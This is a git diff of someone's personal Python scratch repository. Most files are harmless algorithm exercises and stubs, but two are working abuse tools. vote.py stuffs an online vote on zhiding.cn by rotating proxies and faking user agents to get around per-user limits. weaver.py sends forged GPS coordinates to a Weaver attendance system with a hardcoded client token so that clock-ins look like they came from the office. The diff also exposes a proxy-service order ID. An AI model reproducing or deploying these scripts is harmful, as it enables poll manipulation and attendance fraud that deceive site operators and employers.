+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/fuck/tyc.py b/fuck/tyc.py new file mode 100644 index 0000000..dff83f6 --- /dev/null +++ b/fuck/tyc.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: tyc.py +@time: 2018-09-20 14:18 +""" + + +from fontTools.ttLib import TTFont +font1 = TTFont('/Users/zhanghe/code/bearing_project/tyc-num.woff') +font1.saveXML('./tyc-num.xml') + +cmap=font1['cmap'] +cdict=cmap.getBestCmap() +# acs=ord('3') +# print (acs) +print(cdict) diff --git a/fuck/vote.py b/fuck/vote.py new file mode 100644 index 0000000..e22c558 --- /dev/null +++ b/fuck/vote.py @@ -0,0 +1,187 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: vote.py +@time: 2018-03-29 11:00 +""" + + +from __future__ import print_function +from __future__ import unicode_literals + +import json +import random + +import requests +from requests.exceptions import ConnectTimeout, ReadTimeout, ConnectionError + + +REQUESTS_TIME_OUT = (5, 5) + + +user_agent_list = [ + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0', + 'Mozilla/5.0 (iPhone 84; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.0 MQQBrowser/7.8.0 Mobile/14G60 Safari/8536.25 MttCustomUA/2 QBWebViewType/1 WKType/1', + 'Mozilla/5.0 (Linux; Android 7.0; STF-AL10 Build/HUAWEISTF-AL10; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.49 Mobile MQQBrowser/6.2 TBS/043508 Safari/537.36 V1_AND_SQ_7.2.0_730_YYB_D QQ/7.2.0.3270 NetType/4G WebP/0.3.0 Pixel/1080', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en', + 'Mozilla/5.0 (Linux; Android 5.1.1; vivo Xplay5A Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/48.0.2564.116 Mobile Safari/537.36 T7/9.3 baiduboxapp/9.3.0.10 (Baidu; P1 5.1.1)', + 'Mozilla/5.0 (Linux; U; Android 7.0; zh-cn; STF-AL00 Build/HUAWEISTF-AL00) AppleWebKit/537.36 (KHTML, like Gecko)Version/4.0 Chrome/37.0.0.0 MQQBrowser/7.9 Mobile Safari/537.36', + 'Mozilla/5.0 (Linux; Android 6.0; LEX626 Build/HEXCNFN5902606111S) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/35.0.1916.138 Mobile Safari/537.36 T7/7.4 baiduboxapp/8.3.1 (Baidu; P1 6.0)', + 'Mozilla/5.0 (iPhone 92; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 MQQBrowser/7.7.2 Mobile/14F89 Safari/8536.25 MttCustomUA/2 QBWebViewType/1 WKType/1', + 'Mozilla/5.0 (Linux; U; Android 7.0; zh-CN; ZUK Z2121 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.6.8.952 Mobile Safari/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Mobile/15A372 MicroMessenger/6.5.17 NetType/WIFI Language/zh_HK', + 'Mozilla/5.0 (Linux; U; Android 6.0.1; zh-CN; SM-C7000 Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.6.2.948 Mobile Safari/537.36', + 'MQQBrowser/5.3/Mozilla/5.0 (Linux; Android 6.0; TCL 580 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/52.0.2743.98 Mobile Safari/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Mobile/14C92 MicroMessenger/6.5.16 NetType/WIFI Language/zh_CN', + 'Mozilla/5.0 (Linux; U; Android 5.1.1; zh-cn; MI 4S Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.146 Mobile Safari/537.36 XiaoMi/MiuiBrowser/9.1.3', + 'Mozilla/5.0 (Linux; U; Android 7.0; zh-CN; SM-G9550 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.7.0.953 Mobile Safari/537.36', + 'Mozilla/5.0 (Linux; Android 5.1; m3 note Build/LMY47I; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/48.0.2564.116 Mobile Safari/537.36 T7/9.3 baiduboxapp/9.3.0.10 (Baidu; P1 5.1)', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36', + 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', + 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)', + 'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', + 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)', + 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)', + 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)', + 'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)', + 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)', + 'Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6', + 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1', + 'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0', + 'Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5', + 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20', + 'Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52', +] + + +def get_proxy_list_nghuyong(): + url = 'http://proxy.nghuyong.top/?country=China&type=http' + return [i['ip_and_port'] for i in requests.get(url).json().get('data', [])] + + +def get_proxy_list_kuaidaili(): + url = 'http://ent.kuaidaili.com/api/getproxy/?orderid=922229983862136&num=100&b_pcchrome=1&b_pcie=1&b_pcff=1&b_android=1&b_iphone=1&protocol=1&method=2&an_tr=1&an_an=1&an_ha=1&sp1=1&sp2=1&quality=2&format=json&sep=1' + result = requests.get(url).json() + if result['code'] != 0: + print(result['msg']) + return [] + return result['data']['proxy_list'] + + +proxy_list = [ + '110.76.185.162:16818', + '43.226.165.51:16818', + '182.61.35.179:16818', + '117.48.199.243:16818', + '43.226.164.66:16818', + '42.51.206.58:16818', + '120.25.71.27:16818', + '125.65.82.248:16818', + '120.24.68.197:16818', + '121.42.177.10:16818', +] +proxy_list.extend(get_proxy_list_nghuyong()) +proxy_list.extend(get_proxy_list_kuaidaili()) +# TODO add your proxies + +proxies_list = [ + { + 'http': 'http://%s' % proxy, + 'https': 'http://%s' % proxy, + } for proxy in proxy_list +] + + +def fuck(): + """ + 投票入口(默认华云),想什么呢,当然是投华云! + :return: + """ + c_vote_ok = 0 + c_vote_er = 0 + c_proxy_er = 0 + user_agent = random.choice(user_agent_list) + for proxies in proxies_list: + try: + cookies = { + } + s = requests.session() + headers = { + 'User-Agent': user_agent, + 'X-Requested-With': 'XMLHttpRequest', + } + list_url = 'http://www.zhiding.cn/vote/cloud?nomobile=&from=singlemessage&isappinstalled=0' + vote_url = 'http://www.zhiding.cn/vote/cloud/action' + data = { + 'ajax': 'true', + 'opid': 45, + } + + request_headers = headers.copy() + request_headers['Host'] = 'www.zhiding.cn' + request_headers['Origin'] = 'http://www.zhiding.cn' + + request_cookie = cookies.copy() + + list_res = s.get( + list_url, + headers=request_headers, + cookies=request_cookie, + proxies=proxies, + timeout=REQUESTS_TIME_OUT, + ) + if list_res.status_code != 200: + print('代理失效') + c_proxy_er += 1 + continue + + request_headers['Referer'] = 'http://www.zhiding.cn/vote/cloud?nomobile=&from=singlemessage&isappinstalled=0' + + request_cookie.update(list_res.cookies) + + res = s.post( + vote_url, + data=data, + headers=request_headers, + cookies=request_cookie, + proxies=proxies, + timeout=REQUESTS_TIME_OUT, + ) + if list_res.status_code != 200: + print('代理失效') + c_proxy_er += 1 + continue + + result = res.json() + if result.get('code') == 10000: + print('投票成功, 票数: %s' % result.get('msg')) + c_vote_ok += 1 + elif result.get('code') == 10001: + print('投票失败, 原因: %s' % '投票次数用完') + c_vote_er += 1 + elif result.get('code') == 10002: + print('投票失败, 原因: %s' % result.get('msg')) + c_vote_er += 1 + else: + print(json.dumps(result, indent=4, ensure_ascii=False)) + c_vote_er += 1 + except (ConnectTimeout, ReadTimeout, ConnectionError): + print('代理失效') + c_proxy_er += 1 + except Exception as e: + print(e.message) + c_vote_er += 1 + print('刷票成功: %s' % c_vote_ok) + print('刷票失败: %s' % c_vote_er) + print('代理失效: %s' % c_proxy_er) + print('-'*12) + print('暴力刷票: %s' % (c_vote_ok + c_vote_er + c_proxy_er)) + + +if __name__ == '__main__': + fuck() diff --git a/fuck/weaver.py b/fuck/weaver.py new file mode 100644 index 0000000..a4e0e9a --- /dev/null +++ b/fuck/weaver.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: weaver.py +@time: 2019-02-19 17:50 +""" + +from __future__ import print_function +from __future__ import unicode_literals + +import json +import time +import uuid +from urllib import urlencode + +import requests + +# from future.moves.urllib.parse import urlencode + + +REQUESTS_TIME_OUT = (30, 30) + +s = requests.session() + + +class WeaverClient(object): + """ + 泛微打卡神器 + """ + headers = { + 'User-Agent': 'E-MobileE-Mobile 6.5.68 (iPhone; iOS 12.1.2; zh_CN)', + 'Host': '120.132.31.218:89', + 'Timezone': 'GMT+8', + 'Accept-Encoding': 'gzip', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json;charset=UTF-8', + } + + host = 'http://120.132.31.218:89' + jession_id = '' + session_key = '' + udid = '' + user_id = '' + user_key = '' + sign_status = 'checkin' # 打卡类型: 默认签到(checkout 签退) + + token = '3eef8a67907788cbd45266ad4921d7d1802b1cd8fd4db00cd55516d8a5b38d13' + client_user_id = '191e35f7e01b0dacefa' + + # 上海办公室坐标 + longitude = '31.30899441189236,121.5098819986979' # 纬度,经度 + addr = '上海市杨浦区政立路靠近中航天盛广场' # 地址 + + login_status = False + + def __init__(self, username, password): + self.username = username + self.password = password + self.udid = self.get_uuid() + + @staticmethod + def get_uuid(): + return str(uuid.uuid4()).upper() + + def get_config(self): + url = '%s/client.do' % self.host + params = { + "method": "getconfig", + "clientver": "6.5.68", + "clienttype": "iPhone", + "language": "zh-Hans", + "country": "CN", + } + request_headers = self.headers.copy() + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + print(res.status_code) + print(json.dumps(res.json(), indent=4, ensure_ascii=False)) + self.jession_id = res.cookies.get('JESSIONID') + + def login(self): + """ + 登录 + 错误消息 + { + "errorno": "111", + "error": "错误: 用户名或密码为空(111)" + } + """ + self.get_config() + + url = '%s/client.do' % self.host + params = { + "method": "login", + "udid": self.udid, + "token": self.token, + "language": "zh-Hans", + "country": "CN", + "isneedmoulds": "1", + "clienttype": "iPhone", + "clientver": "6.5.68", + "clientos": "iOS", + "clientosver": "12.1.2", + "authcode": "", + "dynapass": "", + "tokenpass": "", + "clientChannelId": "", + "clientuserid": self.client_user_id, + } + + url = '?'.join([url, urlencode(params)]) + print(url) + payload = { + "loginid": self.username, + "password": self.password, + "isFromSunEmobile": 1, + } + print(payload) + request_headers = self.headers.copy() + request_headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=utf-8' + + res = s.post(url, data=payload, headers=request_headers, timeout=REQUESTS_TIME_OUT) + if res.status_code == 200: + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + self.session_key = data['sessionkey'] + + # 提取cookies + self.user_id = res.cookies.get('userid') + self.user_key = res.cookies.get('userKey') + self.jession_id = res.cookies.get('JESSIONID') + + if data.get('error'): + return False + + self.login_status = True + return True + else: + print(res.status_code) + print(res.content) + return False + + def get_status(self): + """ + 检查打卡状况 + """ + url = '%s/client.do' % self.host + params = { + 'method': 'checkin', + 'type': 'getStatus', + 'sessionkey': self.session_key, + } + request_headers = self.headers.copy() + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + + def fuck(self): + """ + 打卡 + 正确消息 + { + "msg": "如因工作原因迟到或早退请提交相应流程,签到(签退)时间:2019-02-19 18:15:28", + "result": "success" + } + 错误消息 + { + "errorno": "005", + "error": "错误: 当前用户信息无效,请重新登录(005)" + } + """ + url = '%s/client.do' % self.host + + request_headers = self.headers.copy() + + current_time = time.strftime("%H%M") + self.sign_status = 'checkout' if current_time >= '1826' else self.sign_status + + params = { + "method": "checkin", + "type": self.sign_status, + "latlng": self.longitude, # 纬度,经度 + "addr": self.addr, # 地址 + "sessionkey": self.session_key, + "wifiMac": "", + } + + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + print(res.status_code) + print(json.dumps(res.json(), indent=4, ensure_ascii=False)) + + +if __name__ == '__main__': + # 打卡 + weaver_client = WeaverClient( + username='xxxxxx', + password='xxxxxx', + ) + weaver_client.login() + weaver_client.fuck() + weaver_client.get_status() diff --git a/fuck/weibo.py b/fuck/weibo.py new file mode 100644 index 0000000..4af05d4 --- /dev/null +++ b/fuck/weibo.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: weibo.py +@time: 2017/11/16 下午7:55 +""" + + +def func(): + pass + + +class Main(object): + def __init__(self): + pass + + +if __name__ == '__main__': + pass diff --git a/multiplication.py b/multiplication.py new file mode 100644 index 0000000..52e5647 --- /dev/null +++ b/multiplication.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: multiplication.py +@time: 2017/8/26 下午10:59 +""" + + +# 乘法口诀 +print("\n".join([' '.join(["%d*%d=%-2d " % (y, x, x*y) for y in range(1, x+1)]) for x in range(1, 10)])) + + +if __name__ == '__main__': + pass + + +""" +1*1=1 +1*2=2 2*2=4 +1*3=3 2*3=6 3*3=9 +1*4=4 2*4=8 3*4=12 4*4=16 +1*5=5 2*5=10 3*5=15 4*5=20 5*5=25 +1*6=6 2*6=12 3*6=18 4*6=24 5*6=30 6*6=36 +1*7=7 2*7=14 3*7=21 4*7=28 5*7=35 6*7=42 7*7=49 +1*8=8 2*8=16 3*8=24 4*8=32 5*8=40 6*8=48 7*8=56 8*8=64 +1*9=9 2*9=18 3*9=27 4*9=36 5*9=45 6*9=54 7*9=63 8*9=72 9*9=81 +""" + + +""" +过程分析: + +[(y, x) for y in range(1, x+1) for x in range(1, 10)] + +[[(y, x) for y in range(1, x+1)] for x in range(1, 10)] +""" diff --git a/test/algorithm/index.md b/test/algorithm/index.md new file mode 100644 index 0000000..d16c2a8 --- /dev/null +++ b/test/algorithm/index.md @@ -0,0 +1 @@ +## 索引 diff --git a/test/algorithm/inverted_index.py b/test/algorithm/inverted_index.py new file mode 100644 index 0000000..d74c4e8 --- /dev/null +++ b/test/algorithm/inverted_index.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: inverted_index.py +@time: 2017/8/20 下午11:17 +""" + + +def func(): + pass + + +class Main(object): + def __init__(self): + pass + + +if __name__ == '__main__': + pass diff --git a/test/algorithm/recursion.py b/test/algorithm/recursion.py index 5af45b8..be3aefc 100644 --- a/test/algorithm/recursion.py +++ b/test/algorithm/recursion.py @@ -33,9 +33,17 @@ def factorial(n): node_list = [] -def pop_list(nodes=None, parent=None, node_list=None): +def pop_list(nodes, parent=None, node_list=None): + """ + 递归父子关系 + :param nodes: + :param parent: + :param node_list: + :return: + """ if parent is None: return node_list + next_parent = None node_list.append([]) for node in nodes: if node['parent'] == parent: diff --git a/test/algorithm/tree.md b/test/algorithm/tree.md new file mode 100644 index 0000000..923ec4a --- /dev/null +++ b/test/algorithm/tree.md @@ -0,0 +1 @@ +## 树 diff --git a/test/algorithm/variance.py b/test/algorithm/variance.py new file mode 100644 index 0000000..e64aae6 --- /dev/null +++ b/test/algorithm/variance.py @@ -0,0 +1,384 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: variance.py +@time: 2017/10/8 下午9:55 + +@title: 方差 +""" + + +import random +import math +import time +from decimal import Decimal + + +def standard_deviation(list_num): + """ + 标准差 + :param list_num: + :return: + """ + len_num = len(list_num) + sum_num = 0.0 + sum_square = 0.0 + for i in list_num: + sum_num += i + sum_square += i ** 2 + mean = sum_num / len_num + var = sum_square / len_num - mean ** 2 # 方差 + res = Decimal(round(math.sqrt(var) / 100) * 100) # 标准差改良版 + return res + + +def match(list_a, list_b): + """ + 匹配测试 + :param list_a: + :param list_b: + :return: + """ + sum_a = sum(list_a) + sum_b = sum(list_b) + print 'list_a 和', sum_a + print 'list_b 和', sum_b + if sum_a != sum_b: + raise Exception('金额不匹配') + print 'list_a 标准差', standard_deviation(list_a) + print 'list_b 标准差', standard_deviation(list_b) + list_a_new, list_b_new, list_match = [], [], [] + while list_a or list_b: + max_a = max(list_a) if list_a else 0 + max_b = max(list_b) if list_b else 0 + + if max_a >= max_b: + list_a.remove(max_a) + list_a_new.append(max_a) + match_a = [max_a] + match_b = [] + while sum(match_a) != sum(match_b): + min_b = min(list_b) if list_b else 0 + need_b = sum(match_a) - sum(match_b) + + if need_b in list_b: + get_b = need_b + list_b.remove(need_b) + elif need_b > min_b: + get_b = min_b + list_b.remove(min_b) + else: + # 拆分最小值 + get_b = need_b + list_b.remove(min_b) + list_b.append(min_b - need_b) + + list_b_new.append(get_b) + match_b.append(get_b) + else: + list_b.remove(max_b) + list_b_new.append(max_b) + match_a = [] + match_b = [max_b] + while sum(match_a) != sum(match_b): + min_a = min(list_a) if list_a else 0 + need_a = sum(match_b) - sum(match_a) + + if need_a in list_a: + get_a = need_a + list_a.remove(need_a) + elif need_a > min_a: + get_a = min_a + list_a.remove(min_a) + else: + # 拆分最小值 + get_a = need_a + list_a.remove(min_a) + list_a.append(min_a - need_a) + + list_a_new.append(get_a) + match_a.append(get_a) + + match_num = (match_a, match_b) + list_match.append(match_num) + return list_a_new, list_b_new, list_match + + +def match_dict_list(x, y): + """ + 匹配测试 + :param x: + :param y: + :return: + """ + print 'x', x + print 'y', y + + # 列表转字典 + m_d = {} + for i in x: + m_d[i['id']] = i['price'] + n_d = {} + for i in y: + n_d[i['id']] = i['price'] + + sum_a = sum(m_d.values()) + sum_b = sum(n_d.values()) + print 'list_a 和', sum_a + print 'list_b 和', sum_b + if sum_a != sum_b: + raise Exception('金额不匹配') + print 'list_a 标准差', standard_deviation(m_d.values()) + print 'list_b 标准差', standard_deviation(n_d.values()) + list_a_new, list_b_new, list_match = [], [], [] + + while m_d.values() or n_d.values(): + max_a = max(m_d.values()) if m_d.values() else 0 + max_b = max(n_d.values()) if n_d.values() else 0 + + if max_a >= max_b: + max_a_id = m_d.keys()[m_d.values().index(max_a)] + m_d.pop(max_a_id) + list_a_new.append(max_a) + match_a_item = {'id': max_a_id, 'price': max_a} + match_a_items = [match_a_item] + + match_a = [max_a] + match_b = [] + match_b_items = [] + + while sum(match_a) != sum(match_b): + min_b = min(n_d.values()) if n_d.values() else 0 + need_b = sum(match_a) - sum(match_b) + + if need_b in n_d.values(): + get_b = need_b + b_id = n_d.keys()[n_d.values().index(get_b)] + n_d.pop(b_id) + elif need_b > min_b: + get_b = min_b + b_id = n_d.keys()[n_d.values().index(get_b)] + n_d.pop(b_id) + else: + # 拆分最小值 + get_b = need_b + b_id = n_d.keys()[n_d.values().index(min_b)] + n_d[b_id] = min_b - get_b + + list_b_new.append(get_b) + match_b.append(get_b) + match_b_item = {'id': b_id, 'price': get_b} + match_b_items.append(match_b_item) + else: + max_b_id = n_d.keys()[n_d.values().index(max_b)] + n_d.pop(max_b_id) + list_b_new.append(max_b) + match_b_item = {'id': max_b_id, 'price': max_b} + match_b_items = [match_b_item] + + match_a = [] + match_b = [max_b] + match_a_items = [] + + while sum(match_a) != sum(match_b): + min_a = min(m_d.values()) if m_d.values() else 0 + need_a = sum(match_b) - sum(match_a) + + if need_a in m_d.values(): + get_a = need_a + a_id = m_d.keys()[m_d.values().index(get_a)] + m_d.pop(a_id) + elif need_a > min_a: + get_a = min_a + a_id = m_d.keys()[m_d.values().index(get_a)] + m_d.pop(a_id) + else: + # 拆分最小值 + get_a = need_a + a_id = m_d.keys()[m_d.values().index(min_a)] + m_d[a_id] = min_a - get_a + + list_a_new.append(get_a) + match_a.append(get_a) + match_a_item = {'id': a_id, 'price': get_a} + match_a_items.append(match_a_item) + + match_item = (match_a_items, match_b_items) + list_match.append(match_item) + + return list_a_new, list_b_new, list_match + + +def test_standard_deviation(): + """ + 测试标准差 + :return: + """ + test_list_num = range(8000, 10000, 500) + print test_list_num + print standard_deviation(test_list_num) + + +def test_match(): + """ + 测试匹配 + :return: + """ + # 普通情况 + # list_a = [20000, 18000, 18000, 6000] + # list_b = [18000, 16000, 14000, 8000, 2000, 2000, 2000] + + # 恰好拼凑(无需拆分,只需组合) + # list_a = [20000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000] + + # 差大于最小值 + # list_a = [21000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000, 1000] + + # 差小于最小值(互相拆分) + list_a = [21000, 18000, 16000] + list_b = [20000, 16000, 19000] + + print 'list_a', list_a + print 'list_b', list_b + list_a_new, list_b_new, list_match = match(list_a, list_b) + print 'list_a_new', list_a_new + print 'list_b_new', list_b_new + print 'list_match', list_match + + +def test_match_dict_list(): + """ + 测试匹配(字典列表) + :return: + """ + # 普通情况 + # list_a = [20000, 18000, 18000, 6000] + # list_b = [18000, 16000, 14000, 8000, 2000, 2000, 2000] + + # 恰好拼凑(无需拆分,只需组合) + # list_a = [20000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000] + # m = [{'id': 1, 'price': 20000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}] + # n = [{'id': 1, 'price': 18000}, {'id': 2, 'price': 16000}, {'id': 3, 'price': 14000}, {'id': 4, 'price': 2000}, {'id': 5, 'price': 2000}, {'id': 6, 'price': 2000}] + + # 差大于最小值 + # list_a = [21000, 18000, 16000] + # list_b = [18000, 16000, 14000, 2000, 2000, 2000, 1000] + # m = [{'id': 1, 'price': 21000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}] + # n = [{'id': 1, 'price': 18000}, {'id': 2, 'price': 16000}, {'id': 3, 'price': 14000}, {'id': 4, 'price': 2000}, {'id': 5, 'price': 2000}, {'id': 6, 'price': 2000}, {'id': 7, 'price': 1000}] + + # 差小于最小值(互相拆分) + # list_a = [21000, 18000, 16000] + # list_b = [20000, 16000, 19000] + m = [{'id': 1, 'price': 21000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}] + n = [{'id': 1, 'price': 20000}, {'id': 2, 'price': 16000}, {'id': 3, 'price': 19000}] + + list_a_new, list_b_new, list_match = match_dict_list(m, n) + print 'list_a_new', list_a_new + print 'list_b_new', list_b_new + print 'list_match', list_match + + +def random_choice_list(): + """ + 步骤: + 1、设定匹配总金额:total_price + 2、根据标准差估算取值个数:random_num + 3、随机选取 n 个元素求和等于 total_price + :return: + """ + time_out = 3 # 正常速度 0.00003 + total_price = 40000 + test_random_list = [21000, 18000, 16000, 4000, 20000, 7000] + + sum_num = sum(test_random_list) + len_num = len(test_random_list) + print 'sum_num', sum_num + print 'len_num', len_num + + choice_num = int(min(round(len_num / (sum_num / total_price)), len_num)) + + print 'choice_num', choice_num + std_dev = standard_deviation(test_random_list) + print 'std_dev', std_dev + for i in test_random_list: + print round(i / std_dev) + + choice_list = [] + c = 0 + start_time = time.time() + while sum(choice_list) != total_price: + if time.time() - start_time > time_out: + choice_list = [] + break + c += 1 + print '随机次数', c + choice_list = random.sample(test_random_list, choice_num) + + if choice_list: + print choice_list + else: + print '超时' + + +def random_choice_dict_list(): + """ + 步骤: + 1、设定匹配总金额:total_price + 2、根据标准差估算取值个数:random_num + 3、随机选取 n 个元素求和等于 total_price + :return: + """ + time_out = 3 # 正常速度 0.00003 + total_price = 40000 + # test_random_list = [21000, 18000, 16000, 4000, 20000, 7000] + test_random_dict_list = [{'id': 1, 'price': 21000}, {'id': 2, 'price': 18000}, {'id': 3, 'price': 16000}, {'id': 4, 'price': 4000}, {'id': 5, 'price': 20000}, {'id': 6, 'price': 7000}, {'id': 7, 'price': 16000}] + + test_random_list = [item['price'] for item in test_random_dict_list] + sum_num = sum(test_random_list) + len_num = len(test_random_list) + print 'sum_num', sum_num + print 'len_num', len_num + + choice_num = int(min(round(len_num / (sum_num / total_price)), len_num)) + + print 'choice_num', choice_num + std_dev = standard_deviation(test_random_list) + print 'std_dev', std_dev + for i in test_random_list: + print round(i / std_dev) + + choice_list = [] + c = 0 + start_time = time.time() + while sum(choice_list) != total_price: + if time.time() - start_time > time_out: + choice_list = [] + break + c += 1 + print '随机次数', c + choice_list = random.sample(test_random_list, choice_num) + + if choice_list: + res_choice_dict_list = [] + print choice_list + for i in test_random_dict_list: + if i['price'] in choice_list: + res_choice_dict_list.append(i) + choice_list.remove(i['price']) + print res_choice_dict_list + else: + print '超时' + + +if __name__ == '__main__': + # test_standard_deviation() + # test_match() + test_match_dict_list() + # random_choice_list() + # random_choice_dict_list() diff --git a/test/design_pattern/observer.py b/test/design_pattern/observer.py new file mode 100644 index 0000000..e3006ec --- /dev/null +++ b/test/design_pattern/observer.py @@ -0,0 +1,76 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: observer.py +@time: 2017/6/12 下午6:06 +""" + + +class AbstractSubject(object): + def register(self, listener): + raise NotImplementedError("Must subclass me") + + def de_register(self, listener): + raise NotImplementedError("Must subclass me") + + def notify_listeners(self, event): + raise NotImplementedError("Must subclass me") + + +class Listener(object): + def __init__(self, name, subject): + self.name = name + subject.register(self) + + def notify(self, event): + print self.name, "received event", event + + +class Subject(AbstractSubject): + def __init__(self): + self.listeners = [] + self.data = None + + def get_user_action(self): + self.data = raw_input('Enter something to do:') + return self.data + + # Implement abstract Class AbstractSubject + + def register(self, listener): + self.listeners.append(listener) + + def de_register(self, listener): + self.listeners.remove(listener) + + def notify_listeners(self, event): + for listener in self.listeners: + listener.notify(event) + + +if __name__ == "__main__": + # make a subject object to spy on + subject_obj = Subject() + + # register two listeners to monitor it. + listenerA = Listener("", subject_obj) + listenerB = Listener("", subject_obj) + + # simulated event + subject_obj.notify_listeners("") + # outputs: + # received event + # received event + + action = subject_obj.get_user_action() + subject_obj.notify_listeners(action) + # Enter something to do:hello + # outputs: + # received event hello + # received event hello + + +# https://zh.wikipedia.org/wiki/观察者模式 \ No newline at end of file diff --git a/test/test_blinker.py b/test/test_blinker.py new file mode 100644 index 0000000..bdb8df2 --- /dev/null +++ b/test/test_blinker.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_blinker.py +@time: 2017/6/6 下午10:48 +""" + + +from blinker import signal + +started = signal('round-started') + + +def each(round): + print "Round %s!" % round + + +started.connect(each) + + +def round_two(round): + print "This is round two." + + +started.connect(round_two, sender=2) + + +for r in range(1, 4): 